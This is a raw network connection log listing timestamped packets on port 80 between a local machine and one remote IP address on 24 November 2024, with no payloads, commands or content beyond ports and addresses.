Nov 24, 2024 12:07:17.910010099 CET	80	50061	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:17.910063982 CET	80	50061	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:17.910111904 CET	80	50061	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:17.910171032 CET	50061	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:17.910234928 CET	80	50061	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:17.910249949 CET	80	50061	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:17.910305023 CET	50061	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:17.910367966 CET	80	50061	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:18.021213055 CET	80	50061	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:18.021229982 CET	80	50061	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:18.021243095 CET	80	50061	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:18.029239893 CET	80	50061	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:18.029886961 CET	80	50061	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:18.029902935 CET	80	50061	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:18.029987097 CET	80	50061	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:18.030061007 CET	80	50061	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:18.030123949 CET	80	50061	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:18.030169010 CET	80	50061	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:18.030253887 CET	80	50061	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:18.030322075 CET	80	50061	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:18.519817114 CET	80	50061	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:18.520901918 CET	50061	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:18.531554937 CET	80	50068	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:18.533298969 CET	50068	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:18.583096981 CET	50069	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:18.654052019 CET	80	50068	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:18.654236078 CET	50068	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:18.704158068 CET	80	50069	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:18.704261065 CET	50069	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:18.705166101 CET	50069	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:18.824753046 CET	80	50069	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:19.003058910 CET	50070	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:19.122893095 CET	80	50070	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:19.123158932 CET	50070	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:19.123382092 CET	50070	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:19.242873907 CET	80	50070	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:20.016470909 CET	80	50069	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:20.017060995 CET	50069	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:20.118029118 CET	50071	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:20.137274981 CET	80	50069	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:20.138753891 CET	50069	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:20.238344908 CET	80	50071	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:20.241029978 CET	50071	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:20.241075993 CET	50071	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:20.360785961 CET	80	50071	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:20.475289106 CET	80	50070	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:20.477456093 CET	50070	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:20.551264048 CET	50072	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:20.597543955 CET	80	50070	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:20.597728014 CET	50070	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:20.670981884 CET	80	50072	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:20.671073914 CET	50072	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:20.671210051 CET	50072	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:20.790918112 CET	80	50072	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:21.555994987 CET	80	50071	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:21.557357073 CET	50071	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:21.676443100 CET	50073	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:21.677309036 CET	80	50071	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:21.677390099 CET	50071	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:21.796050072 CET	80	50073	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:21.796159983 CET	50073	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:21.796869993 CET	50073	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:21.916428089 CET	80	50073	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:21.983789921 CET	80	50072	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:21.984399080 CET	50072	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:22.104612112 CET	80	50072	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:22.104726076 CET	50072	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:22.558295965 CET	50074	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:22.678040981 CET	80	50074	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:22.678210020 CET	50074	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:22.678447008 CET	50074	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:22.798527956 CET	80	50074	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:23.066112995 CET	80	50073	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:23.066625118 CET	50073	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:23.129523039 CET	50075	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:23.186745882 CET	80	50073	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:23.186825991 CET	50073	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:23.249427080 CET	80	50075	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:23.249650955 CET	50075	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:23.249813080 CET	50075	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:23.369409084 CET	80	50075	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:23.525348902 CET	80	50061	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:23.525451899 CET	50061	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:23.992279053 CET	80	50074	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:23.992876053 CET	50074	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:24.055674076 CET	50076	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:24.112962961 CET	80	50074	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:24.113069057 CET	50074	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:24.175354958 CET	80	50076	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:24.175434113 CET	50076	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:24.175582886 CET	50076	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:24.295135021 CET	80	50076	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:25.440396070 CET	80	50076	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:25.440984964 CET	50076	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:25.561213970 CET	80	50076	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:25.561292887 CET	50076	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:25.674802065 CET	80	50075	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:25.675271034 CET	50075	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:25.795739889 CET	80	50075	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:25.795846939 CET	50075	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:25.820703983 CET	50077	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:25.940398932 CET	80	50077	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:25.940505028 CET	50077	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:25.940613985 CET	50077	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:26.060403109 CET	80	50077	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:26.818723917 CET	50078	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:26.938481092 CET	80	50078	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:26.938581944 CET	50078	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:26.938750982 CET	50078	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:27.058415890 CET	80	50078	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:27.250803947 CET	80	50077	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:27.251336098 CET	50077	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:27.371437073 CET	80	50077	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:27.371507883 CET	50077	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:27.375494957 CET	50079	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:27.495331049 CET	80	50079	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:27.495513916 CET	50079	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:27.495776892 CET	50079	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:27.615855932 CET	80	50079	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:28.197444916 CET	80	50078	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:28.197953939 CET	50078	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:28.209033966 CET	50061	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:28.209086895 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:28.317888021 CET	80	50078	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:28.317961931 CET	50078	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:28.328891993 CET	80	50061	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:28.328927040 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:28.329024076 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:28.329150915 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:28.329368114 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:28.448683023 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:28.448957920 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:28.449076891 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:28.449106932 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:28.449192047 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:28.449233055 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:28.449260950 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:28.449295044 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:28.449305058 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:28.449331999 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:28.449357986 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:28.449364901 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:28.449435949 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:28.449450016 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:28.449521065 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:28.570976973 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:28.571018934 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:28.571048975 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:28.571077108 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:28.571105003 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:28.571181059 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:28.571203947 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:28.571208954 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:28.571237087 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:28.571259975 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:28.571291924 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:28.614628077 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:28.614860058 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:28.734546900 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:28.734664917 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:28.774616957 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:28.774736881 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:28.855890036 CET	80	50079	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:28.856517076 CET	50079	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:28.894604921 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:28.894889116 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:28.976855040 CET	80	50079	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:28.977066994 CET	50079	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.070971012 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.071059942 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.306726933 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.306794882 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.340718985 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.341001034 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.426412106 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.426485062 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.461251974 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.461354971 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.461383104 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.461432934 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.461457014 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.461461067 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.461488962 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.461513042 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.461515903 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.461541891 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.461566925 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.461604118 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.461605072 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.461654902 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.461680889 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.461709023 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.461714029 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.461736917 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.461759090 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.461782932 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.461786032 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.461832047 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.461836100 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.461874962 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.461890936 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.461919069 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.461945057 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.461971998 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.462002039 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.462086916 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.462116003 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.462173939 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.462243080 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.462301970 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.462395906 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.462444067 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.462459087 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.462512016 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.462577105 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.462637901 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.462694883 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.462747097 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.462790966 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.462855101 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.462862015 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.462908983 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.462970018 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.463021994 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.463071108 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.463124990 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.463133097 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.463160992 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.463198900 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.463212013 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.463223934 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.463243961 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.463255882 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.463291883 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.463547945 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.463598013 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.463598013 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.463649988 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.463663101 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.463720083 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.475182056 CET	50081	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.506946087 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.507132053 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.547043085 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.547234058 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.581783056 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.581825972 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.581979036 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.581990957 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.582051992 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.582056046 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.582084894 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.582115889 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.582118034 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.582149982 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.582170010 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.582175016 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.582232952 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.582288980 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.582335949 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.582353115 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.582369089 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.582380056 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.582406998 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.582427025 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.582526922 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.582565069 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.582573891 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.582601070 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.582621098 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.582675934 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.582710981 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.582734108 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.582757950 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.582854986 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.582881927 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.582915068 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.582933903 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.582962036 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.582963943 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.582990885 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.583020926 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.583053112 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.583081961 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.583108902 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.583134890 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.583172083 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.583204031 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.583230019 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.583252907 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.583389044 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.583422899 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.583462954 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.583555937 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.583589077 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.583616972 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.583638906 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.583642960 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.583672047 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.583693981 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.583715916 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.583785057 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.583836079 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.583846092 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.583877087 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.584011078 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.584038973 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.584064960 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.584073067 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.584103107 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.584106922 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.584130049 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.584151030 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.584175110 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.584202051 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.584234953 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.584261894 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.584273100 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.584300995 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.584327936 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.584351063 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.584355116 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.584378958 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.584403992 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.584455013 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.584466934 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.584482908 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.584494114 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.584517002 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.584532976 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.584537029 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.584583044 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.584615946 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.584644079 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.584666967 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.584691048 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.584693909 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.584748983 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:29.666448116 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.666520119 CET	80	50080	178.215.224.74	192.168.2.5
